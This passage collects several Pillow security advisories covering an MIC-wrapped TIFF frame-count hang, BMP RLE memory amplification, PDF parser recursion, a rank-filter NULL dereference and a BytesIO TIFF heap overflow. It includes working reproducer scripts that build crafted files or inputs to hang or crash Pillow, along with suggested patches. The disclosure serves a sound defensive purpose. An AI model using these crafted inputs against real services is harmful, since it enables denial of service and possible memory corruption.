Any application that lets Pillow open an uploaded file and then reads im.n_frames — the usual way to decide whether an image is animated (getattr(im, "n_frames", 1) > 1), and also what hasattr(im, "n_frames")/getattr(im, "n_frames", 1) in Pillow's own TiffImagePlugin._save_all (:2333), PdfImagePlugin._save (:250) and WebPImagePlugin._save_all (:171) evaluate when the app re-saves with save_all=True — can be made to spin one worker at 100 % CPU indefinitely with a 5.6 KB upload. The file needs no particular extension (OLE magic; FpxImagePlugin rejects it on CLSID and MicImagePlugin accepts it), default limits do not intervene, memory does not grow, and no exception is raised, so only an external watchdog ends it. Preconditions: olefile installed (it is an optional dependency; without it the MIC plugin is not registered) and the application touching n_frames or a save_all path. Image.open() itself, load(), thumbnail(), convert(), is_animated and ImageSequence iteration do not hang on this file. This is the same class of tiny-file, pure-Python non-termination as CVE-2021-28676 (FLI) and CVE-2021-28677 (EPS), and like CVE-2019-19911 (FPX) it depends on olefile; it differs in not being reached by the default open/load path. The regression was introduced in 0b33a87b0d15 ("Replaced property methods for n_frames and is_animated with normal properties", 2020-04-13), first released in 7.2.0, which replaced MicImageFile's own n_frames property with the _n_frames attribute that TiffImageFile._open overwrites.

Reproducing

repro is a single Python script that runs against the installed Pillow (with olefile, which is what registers the MIC plugin). It builds every input in code, writes each one to a temporary file named x with no extension (so Pillow identifies the format from its magic bytes), and opens it in a child Python process that runs Image.open(path) and prints im.format and im.n_frames.

It builds two things in code:

  • tiff(n): an n-page TIFF of 4×4 greyscale frames written by Pillow itself (save_all=True), so the IFDs are chained exactly as Pillow's own writer chains them. The last next-IFD pointer is 0.
  • mic(stream): a minimal OLE2 compound file with a storage named img0.ACI that contains a stream named Image, which is the layout MicImageFile._open looks for. Sector 0 is the FAT and sector 1 is the directory. The stream starts at sector 2 and is padded to 4096 bytes, so the file doesn't need a mini-FAT. The result is 5632 bytes.

It runs three inputs, each in its own child process with a hard 20-second kill:

  1. control: the plain 3-page TIFF. Expected TIFF n_frames = 3.
  2. control: a MIC wrapping a 1-page TIFF. Expected MIC n_frames = 1.
  3. attack: the same MIC container wrapping the 3-page TIFF.

The timeout is enforced by killing the child rather than by an in-process alarm, because a TimeoutError raised while ImageFileDirectory_v2.load() is parsing would be caught by its except OSError (TiffImagePlugin.py:958) and leave the IFD half-parsed instead of stopping the loop.

The script prints BUG when both controls return and the attack child is still running after 20 seconds; otherwise it prints OK. With the attached patch applied, the attack case prints MIC n_frames = 1 and the script prints OK.

Suggested fix

The attached patch restores the OLE-level frame count after the embedded TIFF stream has been opened, so the inherited n_frames never enters its IFD-walking loop and n_frames/seek() agree on what a frame is. In MicImageFile.seek, src/PIL/MicImagePlugin.py:82, right after TiffImagePlugin.TiffImageFile._open(self):

         TiffImagePlugin.TiffImageFile._open(self)
 
+        # TiffImageFile._open() resets the frame count to that of the
+        # embedded TIFF stream, but the frames of an MIC file are its streams
+        self._n_frames = len(self.images)
+        self.is_animated = self._n_frames > 1
+
         self.frame = frame

Doing this in seek() restores the invariant on every seek, not only the first. The existing assignments at lines 69–70 of _open are kept: the initial seek(0) → _seek_check(0) reads n_frames before TiffImageFile._open has run, so they are still needed. Plain read-only n_frames/is_animated properties, as before 0b33a87b0, are no longer a drop-in option because TiffImageFile._seek assigns self.is_animated. With the patch applied to a clean tree and rebuilt, the attack file returns n_frames == 1 immediately, a 2-IFD stream raises EOFError on seek(1) instead of IndexError, save_all=True to TIFF and PDF completes, and Tests/test_file_mic.py and Tests/test_file_tiff.py pass. No regression test is included, since one would need a new binary MIC fixture in Tests/images.

The patch passed that check but has not been reviewed beyond it as the final form of the fix. Two things it leaves alone: it does not add the _im reset that TiffImageFile.seek performs after _seek (TiffImagePlugin.py:1229), which matters when switching between OLE streams of different size or mode; and TiffImageFile.n_frames still advances via the overridable tell() rather than its private __frame, so making it iterate on __frame would protect any other subclass that redefines tell().

The patch

Restore the OLE stream frame count in MicImageFile.seek() after TiffImageFile._open() resets it, so n_frames cannot loop forever

Applies to src/PIL/MicImagePlugin.py at the commit above. It passed the mechanical check — applied to a clean tree, rebuilt, the reproducer stopped firing — but a reviewer did not endorse it as the right fix.

diff --git a/src/PIL/MicImagePlugin.py b/src/PIL/MicImagePlugin.py
index f8cf3a76f..2bb0109ce 100644
--- a/src/PIL/MicImagePlugin.py
+++ b/src/PIL/MicImagePlugin.py
@@ -81,6 +81,11 @@ class MicImageFile(TiffImagePlugin.TiffImageFile):
 
         TiffImagePlugin.TiffImageFile._open(self)
 
+        # TiffImageFile._open() resets the frame count to that of the
+        # embedded TIFF stream, but the frames of an MIC file are its streams
+        self._n_frames = len(self.images)
+        self.is_animated = self._n_frames > 1
+
         self.frame = frame
 
     def tell(self) -> int:
The reproducer
Reproducer — repro, 2,330 bytes (click to open)

Its last line is BUG when the issue triggers and OK when it does not. Re-run on a clean build of that commit it printed BUG.


#!/usr/bin/env python3
##### MicImageFile inherits TiffImageFile.n_frames, whose loop `self._seek(self.tell()+1)`

##### relies on tell() advancing; MicImageFile.tell() returns the OLE stream index (constant),
##### so a MIC file whose Image stream is a TIFF with >=3 chained IFDs makes im.n_frames spin forever.
import io, struct, subprocess, sys, tempfile, os
from PIL import Image

def tiff(n):  # n-page TIFF written by Pillow itself
    b = io.BytesIO(); fr = [Image.new("L", (4, 4), i) for i in range(n)]
    fr[0].save(b, "TIFF", save_all=True, append_images=fr[1:]); return b.getvalue()

def mic(stream):  # minimal OLE2 file: storage "img0.ACI" containing stream "Image"
    END, FREE, FATSECT = 0xFFFFFFFE, 0xFFFFFFFF, 0xFFFFFFFD
    data = stream.ljust(4096, b"\0"); n = len(data) // 512
    fat = [FATSECT, END] + [3 + k for k in range(n - 1)] + [END]; fat += [FREE] * (128 - len(fat))
    def entry(name, kind, child, start, size):
        raw = name.encode("utf-16-le") + b"\0\0"
        return raw.ljust(64, b"\0") + struct.pack("<HBBiii", len(raw), kind, 1, -1, -1, child) + b"\0"*36 + struct.pack("<III", start, size, 0)
    d = entry("Root Entry", 5, 1, END, 0) + entry("img0.ACI", 1, 2, 0, 0) + entry("Image", 2, -1, 2, len(data)) + b"\0"*128
    hdr = (b"\xd0\xcf\x11\xe0\xa1\xb1\x1a\xe1" + b"\0"*16 + struct.pack("<HHHHH6x", 0x3E, 3, 0xFFFE, 9, 6)
           + struct.pack("<9I", 0, 1, 1, 0, 4096, END, 0, END, 0) + struct.pack("<I", 0) + b"\xff"*432)
    return hdr + struct.pack("<128I", *fat) + d + data

CHILD = "import sys;from PIL import Image;im=Image.open(sys.argv[1]);print(im.format, 'n_frames =', im.n_frames)"
def run(label, data, limit=20):
    p = os.path.join(tempfile.mkdtemp(), "x"); open(p, "wb").write(data)
    try:
        r = subprocess.run([sys.executable, "-c", CHILD, p], capture_output=True, text=True, timeout=limit)
        out = (r.stdout.strip() or r.stderr.strip().splitlines()[-1]); hung = False
    except subprocess.TimeoutExpired:
        out, hung = f"STILL RUNNING after {limit}s (killed)", True
    print(f"{label:32s} {len(data):6d} bytes -> {out}"); return hung

c1 = run("control: 3-page TIFF, direct", tiff(3))
c2 = run("control: MIC around 1-page TIFF", mic(tiff(1)))
bug = run("attack:  MIC around 3-page TIFF", mic(tiff(3)))
print("BUG" if bug and not c1 and not c2 else "OK")

Severity

  • CVSS Score: 8.2 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Pillow: BMP RLE decoder memory-amplification DoS via unbounded delta escape / absolute mode

BIT-pillow-2026-96638 / CVE-2026-96638 / GHSA-24rc-8hj2-v98c

More information

Details

Summary

BmpRleDecoder can be forced to allocate gigabytes of memory from a kilobyte-sized crafted BMP file via unbounded growth in the delta escape and absolute mode branches.

Affected versions

All versions up to and including current HEAD (v13.0.0.dev0, commit e7a7ea84)

Root cause

BmpRleDecoder.decode() (BmpImagePlugin.py:327-395) builds a Python bytearray data with dest_length = xsize*ysize, looping while len(data) < dest_length. The loop condition is only checked at the TOP; individual branches append attacker-controlled amounts UNBOUNDED by dest_length:

  • delta escape (line 370): data += b"\x00" * (right + up * self.state.xsize) with right,up in 0..255 -> up to ~255*xsize bytes in ONE iteration.
  • absolute mode (line 385): data += bytes_read (up to 255).

Because a single delta can push len(data) to ~256 * (row size), a tiny RLE stream combined with a large-but-legal xsize (xsize*ysize just under MAX_IMAGE_PIXELS, ~89M) yields a multi-GB data bytearray (then copied again by bytes(data) and set_as_raw). No heap OOB (bytearray/set_as_raw are bounds-safe), but a severe memory-amplification DoS: the attacker file stays tiny.

Reproduction

Python 3.13, Pillow HEAD e7a7ea84

Attached: pillow_poc_bmp_rle_dos.py

A 1084-byte BMP (BI_RLE8, width=3,000,000, height=1 -> 3M px, passes bomb check) with one delta escape (00 02 00 150) produces ~429 MB data; measured peak RSS 911 MB. Scaling width toward the bomb limit and up=255 produces tens of GB from a ~1 KB file.

Suggested fix

Cap growth at dest_length in the delta and absolute branches, e.g. clamp the delta fill to (dest_length - len(data)) and stop appending once len(data) >= dest_length; reject deltas that would move the cursor beyond the image, matching the existing per-row clamp at line 341-343.

Credit: Yazan Balawneh - CyStack Security Team (GitHub: sonicnew)

pillow_poc_bmp_rle_dos.py

Severity

  • CVSS Score: 6.5 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Pillow: PdfParser can recurse without limit in get_value() and linearize_page_tree()

BIT-pillow-2026-112391 / CVE-2026-112391 / GHSA-254f-3936-288h

More information

Details

Summary

PdfParser's get_value() can recurse without any limit and crash with an uncaught RecursionError. It is reachable through Image.save(im, fp=<pdf>, format="PDF", append=True) when the existing PDF file is attacker-controlled. This is the same class of bug as https://github.com/advisories/GHSA-r73j-pqj5-w3x7 (the /Prev trailer chain loop, fixed earlier this year), in the same file, but in two different functions that fix did not touch.

Details

get_value() in src/PIL/PdfParser.py

This is a classmethod that takes max_nesting: int = -1 and has a guard:

if max_nesting == 0:
    return None, None

Every recursive call (nested arrays, dictionaries, indirect object definitions) passes max_nesting=max_nesting - 1. Since the default and every call site start at -1, this only ever counts down further negative: -1, -2, -3, and so on. It never equals exactly 0, so the guard never runs. A PDF object with a value nested a few thousand levels deep is enough to hit Python's recursion limit. It does not even need a valid /Pages tree, since read_pdf_info() parses the /Root object's own dictionary first, before checking anything else.

This advisory reports a single vulnerability: an ineffective recursion-depth guard in PdfParser.get_value() (the sentinel -1 default never reaches the == 0 check). The mention of GHSA-r73j-pqj5-w3x7 is comparative context for an already-fixed, already-CVE'd bug in a different function — it is not a second vulnerability being reported. The three trigger paths (nested arrays/dicts/indirect objects) are not independently fixable; they share one root cause and one fix location in get_value() .

Steps to reproduce

Both PDFs below are plain text, built directly in Python, no PDF library needed.

from PIL.PdfParser import PdfParser

def build_pdf(root):
    out = bytearray(b"%PDF-1.4\n")
    offset = len(out)
    out += f"1 0 obj\n".encode()
    out += root
    out += b"\nendobj\n"
    out += b"xref\n"
    out += f"0 2\n".encode()
    out += b"0000000000 65535 f \n"
    out += f"{offset:010d} 00000 ".encode() + b"n \n"
    xref_offset = len(out)
    out += b"xref\n"
    out += f"0 2\n".encode()
    out += b"0000000000 65535 f \n"
    out += f"{offset:010d} 00000 ".encode() + b"n \n"
    out += b"trailer\n"
    out += f"<< /Size 2 /Root 1 0 R >>\n".encode()
    out += b"startxref\n"
    out += f"{xref_offset}\n".encode()
    out += b"%%EOF"
    return bytes(out)

bomb = b"[" * 3000 + b"]" * 3000
root = b"<< /Type /Catalog /Pages 2 0 R /Bomb " + bomb + b" >>"
with open("nesting_bomb.pdf", "wb") as f:
    f.write(build_pdf(root))

PdfParser("nesting_bomb.pdf")     # raises RecursionError

Expected: a clean PdfFormatError.

Actual: raises a raw RecursionError: maximum recursion depth exceeded.

Impact
  • Availability: an attacker who controls the content of a PDF file that an application later appends an image page to (Image.save(..., format="PDF", append=True)) can crash that request with a RecursionError, using a file of a few hundred bytes.
  • Confidentiality: none.
  • Integrity: none.
  • Pillow cannot open PDFs for reading through Image.open(). PdfParser is only reached through the append-mode save path, so the app has to be doing that specific thing (for example, stamping or watermarking an existing PDF) for this to matter.

Severity

  • CVSS Score: 6.3 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Pillow: NULL dereference in ImagingExpand via rank filters on zero-size images

BIT-pillow-2026-112392 / CVE-2026-112392 / GHSA-27h8-gf7j-v5hc / PYSEC-2026-4326

More information

Details

============================================================================
NULL dereference in ImagingExpand via rank filters on zero-size images
Location: src/libImaging/Filter.c:79  in ImagingExpand()
Commit:   a707c6b21c313880d0771e54965d142dd42358b6
============================================================================

Applying Pillow's median, minimum, maximum or rank filter to an image with zero width or zero height crashes the whole Python process instead of raising an error. Empty images like this are easy to produce with ordinary calls, for example a crop box whose left and right edges (or top and bottom edges) are equal, or the second page of a crafted multi-page image file. An attacker who can supply crop coordinates or an uploaded file to an application that runs one of these filters can kill its worker process. The effect is a crash only, with no memory disclosure or corruption.

The fault is in ImagingExpand() in src/libImaging/Filter.c. This is the edge-padding step that RankFilter.filter() always runs through the core expand() method, so MedianFilter, MinFilter and MaxFilter go through it too. It fills the margin by copying the input's edge pixels, reading imIn->image[y][0] and rows 0 / ysize-1, and never checks that the input has any pixels. For an empty image, ImagingAllocateArray leaves the line pointers NULL, so the first read dereferences NULL and the process dies with SIGSEGV, in every mode.

Zero-size images reach this point through public API alone:

  • Image.crop(), ImageOps.crop() and Image.new();
  • a multi-page TIFF opened by path whose second IFD declares ImageLength = 0, on which seek(1) and load() succeed.

Every other ImageFilter returns an empty image for the same inputs. The zero-height case has crashed since the original PIL import, and the zero-width case since Pillow 4.3.0. This is separate from the margin == 0 fix in #​9755: the path is the same, but here the degenerate value is the image size rather than the kernel size. It has the same shape as the zero-dimension ImagingOffset crash fixed under GHSA-f87v-9578-p47w.

The attached reproducer shows a one-pixel-wide control crop filtering normally, while four empty crops passed through the rank filters are each killed by SIGSEGV. A patch that returns early in ImagingExpand for empty input is included.

Details

ImagingExpand() (src/libImaging/Filter.c), the edge-padding helper that ImageFilter.RankFilter runs before the actual rank filter, reads the first pixel of each input line without checking that the input has any pixels. For an image with width 0 or height 0 the line pointers are NULL, so Image.filter() with MedianFilter, MinFilter, MaxFilter or RankFilter kills the interpreter with SIGSEGV instead of returning or raising:

from PIL import Image, ImageFilter
im = Image.new("L", (10, 10)).crop((3, 0, 3, 10))   # size (0, 10); crop() accepts left == right
im.filter(ImageFilter.MedianFilter(3))               # SIGSEGV

Under gdb on the stock build the fault is at ImagingExpand (imIn=…, margin=1) at src/libImaging/Filter.c:105 (the EXPAND(UINT8, image8) expansion), called from _expand_image at src/_imaging.c:1151, with imIn->xsize = 0 and imIn->image[0] = 0x0. The same happens for every mode the rank filters accept (L, RGB, RGBA, I, F), and the core expand(m) method with m >= 1 crashes the same way in any mode, including P. The same input through BoxBlur, GaussianBlur, Kernel, ModeFilter and UnsharpMask returns a (0, 10) image; a (1, 10) crop through MedianFilter also returns normally.

The unchecked edge reads date from the PIL import (9a640e315, 2010, so every Pillow release): the zero-height case has crashed since then, and the zero-width case since fd907fbdc ("Fix 0-width and 0-height images other way", Pillow 4.3.0), which stopped backing zero-width images with a dummy block and left their row pointers NULL. It is adjacent to the margin == 0 divide-by-zero fix in #​9755 — same expand() → ImagingExpand() path, but the unhandled degenerate value here is the image size rather than the kernel size.

The path:


##### src/PIL/ImageFilter.py:111-116   RankFilter.filter  (MedianFilter/MinFilter/MaxFilter subclass it)
        image = image.expand(self.size // 2)
        return image.rankfilter(self.size, self.rank)

expand(m) with m > 0 is ImagingExpand(self->image, m) (src/_imaging.c:1142-1151). It validates only margin, allocates an output of (xsize+2*margin) × (ysize+2*margin) — which is non-empty, so the allocation succeeds — and then fills the margin by replicating edge pixels of the input:

// src/libImaging/Filter.c:70-101
    imOut =
        ImagingNewDirty(imIn->mode, imIn->xsize + 2 * margin, imIn->ysize + 2 * margin);
    …

#define EXPAND_LINE(type, image, yin, yout)                       \
    {                                                             \
        for (x = 0; x < margin; x++) {                            \
            imOut->image[yout][x] = imIn->image[yin][0];          \   // line 79
        }                                                         \
        …                                                         \
        for (x = 0; x < margin; x++) {                            \
            imOut->image[yout][margin + imIn->xsize + x] =        \
                imIn->image[yin][imIn->xsize - 1];                \   // [-1] when xsize == 0
        }                                                         \
    }

#define EXPAND(type, image)                                                      \
    {                                                                            \
        for (y = 0; y < margin; y++) {                                           \
            EXPAND_LINE(type, image, 0, y);                                      \   // line 0 of a 0-line image
        }                                                                        \
        …
        for (y = 0; y < margin; y++) {                                           \
            EXPAND_LINE(type, image, imIn->ysize - 1, margin + imIn->ysize + y); \   // line -1 when ysize == 0
        }                                                                        \
    }

Why the line pointers are NULL: ImagingNewPrologueSubtype callocs the im->image pointer array (src/libImaging/Storage.c:216, at least one entry), and ImagingAllocateArray returns before assigning any of them for an empty image:

// src/libImaging/Storage.c:423-426
    /* 0-width or 0-height image. No need to do anything */
    if (!im->linesize || !im->ysize) {
        return im;
    }

So with xsize == 0 every imIn->image[y] is NULL and imIn->image[yin][0] faults; with ysize == 0 the top-margin pass reads imIn->image[0] (the single calloc'd NULL slot) and faults the same way, and the bottom-margin pass would index imIn->image[-1]. ImagingRankFilter is never reached.

Zero-size images are ordinary objects in Pillow and arrive at filter() through public API only:

  • Image.crop(box) rejects only inverted boxes (src/PIL/Image.py:1385-1390); left == right or upper == lower yields a 0×N / N×0 image. ImageOps.crop(im, border) with border == width // 2, and Image.new(mode, (0, n)), do the same.
  • From a file: ImageFile.__init__ refuses a zero first-frame size (src/PIL/ImageFile.py:167-173), but TiffImagePlugin._setup() takes ImageWidth/ImageLength of every later IFD as-is on seek() (src/PIL/TiffImagePlugin.py:1468-1481). For an uncompressed page of an image opened by path, ImageFile.load() takes the mmap branch (src/PIL/ImageFile.py:307, 325-347) and Image.core.map_buffer builds an 8×0 core image without complaint (src/map.c:127-141), so im.seek(1); im.load() succeeds and a following im.filter(ImageFilter.MedianFilter(3)) segfaults in ImagingExpand exactly as above (verified under gdb: imIn->ysize = 0, imIn->image[0] = 0x0). A 384-byte two-page TIFF is enough.
Impact

Denial of service: the whole embedding process (web worker, pipeline process) dies with SIGSEGV rather than the request failing with a Python exception. It is reachable by a remote user in two realistic shapes: (a) an application that crops an upload to user-supplied coordinates and then applies a median/min/max filter (denoise, dilate/erode, thumbnail clean-up) — a box with x0 == x1 or y0 == y1 passes crop() and crashes the worker; (b) an application that opens an uploaded TIFF from disk by path, iterates its pages and applies a rank filter to each — a crafted second IFD with ImageLength = 0 crashes it. The faulting access is a read at address 0 (or a fixed small negative offset from the pointer array for the [-1] cases, which is not reached because the first read already faults), so there is no memory disclosure or corruption beyond the crash. The same shape, a zero-dimension image crashing C code reached through public API, was fixed in ImagingOffset in 39d14a0db (GHSA-f87v-9578-p47w).

Reproducing

repro is a single Python script that uses the installed Pillow as-is (no rebuild). It runs each case in a fresh child interpreter, with core dumps disabled. That way a segfault shows up as the child's exit status and the script itself keeps running. Each child builds Image.new("L", (10, 10)).crop(box), prints its size, calls im.filter(...) and then prints the size of the result.

  • Control: a (1, 10) crop ((3, 0, 4, 10)) through MedianFilter(3). The rank filter accepts a thin image and must return normally.
  • PoC: the rank filters on empty crops.
    • A (0, 10) crop (left == right, (3, 0, 3, 10)) through MedianFilter(3) and MaxFilter(5).
    • A (10, 0) crop (upper == lower, (0, 3, 10, 3)) through MinFilter(3).
    • A (0, 0) crop ((3, 3, 3, 3)) through RankFilter(3, 4).

Expected output on the stock build:

  crop(3, 0, 4, 10)    MedianFilter(3)    (1, 10) -> (1, 10)
  crop(3, 0, 3, 10)    MedianFilter(3)    (0, 10) -> killed by SIGSEGV
  crop(3, 0, 3, 10)    MaxFilter(5)       (0, 10) -> killed by SIGSEGV
  crop(0, 3, 10, 3)    MinFilter(3)       (10, 0) -> killed by SIGSEGV
  crop(3, 3, 3, 3)     RankFilter(3, 4)   (0, 0) -> killed by SIGSEGV
BUG

The size printed before -> shows that the empty image was created without error. The crash happens inside filter(), in ImagingExpand. The last line is BUG if the control returned normally and at least one rank-filter child was killed by SIGSEGV. Otherwise it is OK. The script covers the crop route only; the TIFF route described above fails the same way (im.seek(1); im.load(); im.filter(ImageFilter.MedianFilter(3)) on a by-path two-page TIFF whose second IFD has ImageLength = 0). With the attached patch, every PoC line prints the unchanged size (for example (0, 10) -> (0, 10)) and the script prints OK.

Suggested fix

The attached patch handles the empty input in ImagingExpand (src/libImaging/Filter.c), right after the margin checks and before the ImagingNewDirty allocation and the replication loops. With xsize == 0 or ysize == 0 there are no edge pixels to replicate, so it returns a zeroed (ImagingNew, not ImagingNewDirty) image of the expanded size, with the input's palette copied. This keeps ImagingExpand's size contract, so ImagingRankFilter then produces an output of xsize - 2*margin × ysize - 2*margin, i.e. the original empty size, matching every other filter. It mirrors the existing zero-dimension early returns in src/libImaging/BoxBlur.c (127004368) and src/libImaging/Offset.c (39d14a0db):

--- a/src/libImaging/Filter.c
+++ b/src/libImaging/Filter.c
@@ -67,6 +67,17 @@ ImagingExpand(Imaging imIn, int margin) {
         return (Imaging)ImagingError_ValueError("filter size too large");
     }
 
+    if (imIn->xsize == 0 || imIn->ysize == 0) {
+        /* No edge pixels to replicate (and no lines to read from), so
+           return a zeroed image of the expanded size */
+        imOut = ImagingNew(imIn->mode, imIn->xsize + 2 * margin, imIn->ysize + 2 * margin);
+        if (!imOut) {
+            return NULL;
+        }
+        ImagingCopyPalette(imOut, imIn);
+        return imOut;
+    }
+
     imOut =
         ImagingNewDirty(imIn->mode, imIn->xsize + 2 * margin, imIn->ysize + 2 * margin);
     if (!imOut) {

The patch also adds test_rankfilter_zero_dimension next to test_rankfilter_error in Tests/test_image_filter.py, which filters Image.new("L", size) for size in ((0, 6), (6, 0), (0, 0)) with MinFilter, MedianFilter, MaxFilter and RankFilter(3, 2) and asserts the size is preserved. Applied to a clean checkout and rebuilt, the reproducer prints OK and Tests/test_image_filter.py passes. A Python-level guard in RankFilter.filter (if 0 in image.size: return image.copy()) would also stop the crash, but the C-level check protects any other caller of expand().

The patch

Return a zeroed image from ImagingExpand when the input has zero width or height instead of reading NULL line pointers

Applies to src/libImaging/Filter.c at the commit above.

diff --git a/Tests/test_image_filter.py b/Tests/test_image_filter.py
index 974d4b7a3..8dc8e1a1a 100644
--- a/Tests/test_image_filter.py
+++ b/Tests/test_image_filter.py
@@ -155,6 +155,23 @@ def test_rankfilter_error(filter: ImageFilter.RankFilter) -> None:
         im.filter(filter).getpixel((1, 1))
 
 
+@pytest.mark.parametrize(
+    "filter",
+    (
+        ImageFilter.MinFilter,
+        ImageFilter.MedianFilter,
+        ImageFilter.MaxFilter,
+        ImageFilter.RankFilter(3, 2),
+    ),
+)
+@pytest.mark.parametrize("size", ((0, 6), (6, 0), (0, 0)))
+def test_rankfilter_zero_dimension(
+    filter: ImageFilter.RankFilter, size: tuple[int, int]
+) -> None:
+    im = Image.new("L", size)
+    assert im.filter(filter).size == size
+
+
 def test_rankfilter_properties() -> None:
     rankfilter = ImageFilter.RankFilter(3, 2)
 
diff --git a/src/libImaging/Filter.c b/src/libImaging/Filter.c
index 3492a871f..d702db5f9 100644
--- a/src/libImaging/Filter.c
+++ b/src/libImaging/Filter.c
@@ -67,6 +67,17 @@ ImagingExpand(Imaging imIn, int margin) {
         return (Imaging)ImagingError_ValueError("filter size too large");
     }
 
+    if (imIn->xsize == 0 || imIn->ysize == 0) {
+        /* No edge pixels to replicate (and no lines to read from), so
+           return a zeroed image of the expanded size */
+        imOut = ImagingNew(imIn->mode, imIn->xsize + 2 * margin, imIn->ysize + 2 * margin);
+        if (!imOut) {
+            return NULL;
+        }
+        ImagingCopyPalette(imOut, imIn);
+        return imOut;
+    }
+
     imOut =
         ImagingNewDirty(imIn->mode, imIn->xsize + 2 * margin, imIn->ysize + 2 * margin);
     if (!imOut) {
The reproducer
Reproducer — repro, 1,333 bytes (click to open)

Its last line is BUG when the issue triggers and OK when it does not. Re-run on a clean build of that commit it printed BUG.


#!/usr/bin/env python3
##### Pillow: rank filters (Median/Min/Max/RankFilter) on a 0-wide or 0-high image

##### SIGSEGV in ImagingExpand (src/libImaging/Filter.c) - NULL line pointer read.
##### Each case runs in a child interpreter; BUG if the control returns and any

##### zero-size case dies of SIGSEGV.
import signal, subprocess, sys

CHILD = """
import resource; resource.setrlimit(resource.RLIMIT_CORE, (0, 0))
from PIL import Image, ImageFilter
im = Image.new("L", (10, 10)).crop(%s)      # public API; crop accepts x0==x1 / y0==y1
print(im.size, "->", end=" ", flush=True)
print(im.filter(ImageFilter.%s).size)
"""

def run(box, flt):
    p = subprocess.run([sys.executable, "-c", CHILD % (box, flt)],
                       capture_output=True, text=True)
    out = p.stdout.strip()
    if p.returncode < 0:
        out += " killed by " + signal.Signals(-p.returncode).name
    print(f"  crop{box!s:<16} {flt:<18} {out}")
    return p.returncode

ctrl = run((3, 0, 4, 10), "MedianFilter(3)")          # (1,10): must work
rcs = [run((3, 0, 3, 10), "MedianFilter(3)"),        # (0,10)
       run((3, 0, 3, 10), "MaxFilter(5)"),
       run((0, 3, 10, 3), "MinFilter(3)"),           # (10,0)
       run((3, 3, 3, 3), "RankFilter(3, 4)")]        # (0,0)
bug = ctrl == 0 and any(rc == -signal.SIGSEGV for rc in rcs)
print("BUG" if bug else "OK")

Severity

  • CVSS Score: 8.2 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Pillow: Heap buffer overflow in _tiffWriteProc when saving TIFF to BytesIO

BIT-pillow-2026-112393 / CVE-2026-112393 / GHSA-332p-7hrc-92wf

More information

Details

============================================================================
Heap buffer overflow in _tiffWriteProc when saving TIFF to BytesIO
Location: src/libImaging/TiffDecode.c:94  in _tiffWriteProc()
Commit:   a707c6b21c313880d0771e54965d142dd42358b6
============================================================================

Pillow can write attacker-chosen data past the end of a heap buffer when it saves a TIFF image to an in-memory destination such as io.BytesIO rather than to a file. The same code also copies leftover heap memory from the process into the saved file. Anyone who can supply an image to a service that opens it and re-saves it as TIFF this way can trigger this with default settings. The attached reproducer crashes the process, and the overflow could potentially be developed further, but code execution is not demonstrated here.

The bug is in _tiffWriteProc in src/libImaging/TiffDecode.c. This is the write callback for the in-memory sink that Pillow gives libtiff whenever the save target has no fileno(). While writing the directory, libtiff seeks past the current end of data and writes tag values there. _tiffWriteProc sizes its realloc() from state->size + size instead of from the write position state->loc. As a result, the first out-of-line tag value written after that seek can run past the allocation by up to the size of the directory: 12 bytes per entry, 126 bytes in the minimal case, and 2384 bytes observed with a 331-entry directory. The overflowing bytes are the tail of a tag value taken from the uploaded file.

No save options are needed, because compression and tags are inherited from the source image. The overflow does require an attacker-sized out-of-line tag to reach libtiff. That happens when the opened TIFF is saved directly (ImageDescription, DocumentName or XMP), or through an embedded ICC profile, which survives copy() in im.info. The bytes libtiff skips for alignment are never initialised, so any compressed TIFF over 64 KiB written this way also leaks one stale heap byte per padding hole. That leak needs no crafted tag.

The attached reproducer builds a 131 KB PackBits TIFF and runs Image.open(...).save(io.BytesIO(), "TIFF"). Saving the same image to a file path succeeds, but the BytesIO save aborts with glibc's malloc(): corrupted top size. A second part of the script shows uninitialised heap bytes at the padding offsets of a BytesIO save that are zero in the file save. Saves to real files are unaffected. The defect dates to e782fe721e01 (2013) and has been present since Pillow 2.0.0.

Details

When im.save() writes a TIFF through libtiff to a target that has no usable fileno() (io.BytesIO, an HTTP response object, a storage backend stream), libtiff is opened with TIFFClientOpen() on Pillow's own in-memory sink, _tiffWriteProc / _tiffSeekProc in src/libImaging/TiffDecode.c. libtiff treats that sink like a file: when it writes the directory it seeks beyond the current end of data (to eof + IFD size, where the out-of-line tag values go, and one byte further after every odd-length tag value to keep offsets even) and writes there. On a real file the kernel grows the file and zero-fills the gap. The memory sink does neither correctly:

  1. _tiffWriteProc sizes its realloc() from state->size + size instead of state->loc + size, so the first write after such a seek can land past the end of the new allocation — a heap buffer overflow whose content is tag data taken from the image being saved.
  2. The bytes that libtiff skips are never written, and the grown region is a bare realloc(), so they reach the output TIFF with whatever the heap held before.

Both are reachable with default settings by the ordinary "re-encode the upload" sequence Image.open(upload); im.save(io.BytesIO(), "TIFF") with no save options: compression defaults to the source file's (src/PIL/TiffImagePlugin.py:1734), any compression other than raw selects the libtiff writer (:1746), the source's tag_v2 entries are passed through to libtiff (:1959), and a target without fileno() leaves _fp = 0 (:1928-1935), i.e. the memory sink. The overflow half additionally needs an attacker-controlled out-of-line tag value of the right length to reach libtiff. With the opened TiffImageFile saved directly (tag_v2 passthrough) that can be a ~64 KiB ASCII tag (269/270/271/272) or the XMP packet (tag 700, type BYTE — arbitrary bytes), and the number of tags the upload carries sets the IFD size, i.e. the overrun length (12 bytes per entry; 2384 bytes with a 331-entry IFD observed). After convert()/resize()/thumbnail()/copy() the tag_v2 entries are gone, but im.info["compression"] (still selecting libtiff) and im.info["icc_profile"] survive and the ICC profile is written as tag 34675 (:1822-1824), an equally attacker-controlled out-of-line value: Image.open(x).copy().save(BytesIO(), "TIFF") with the payload in the ICC profile produces the identical ASan report. The stale-byte half needs no attacker tag at all.

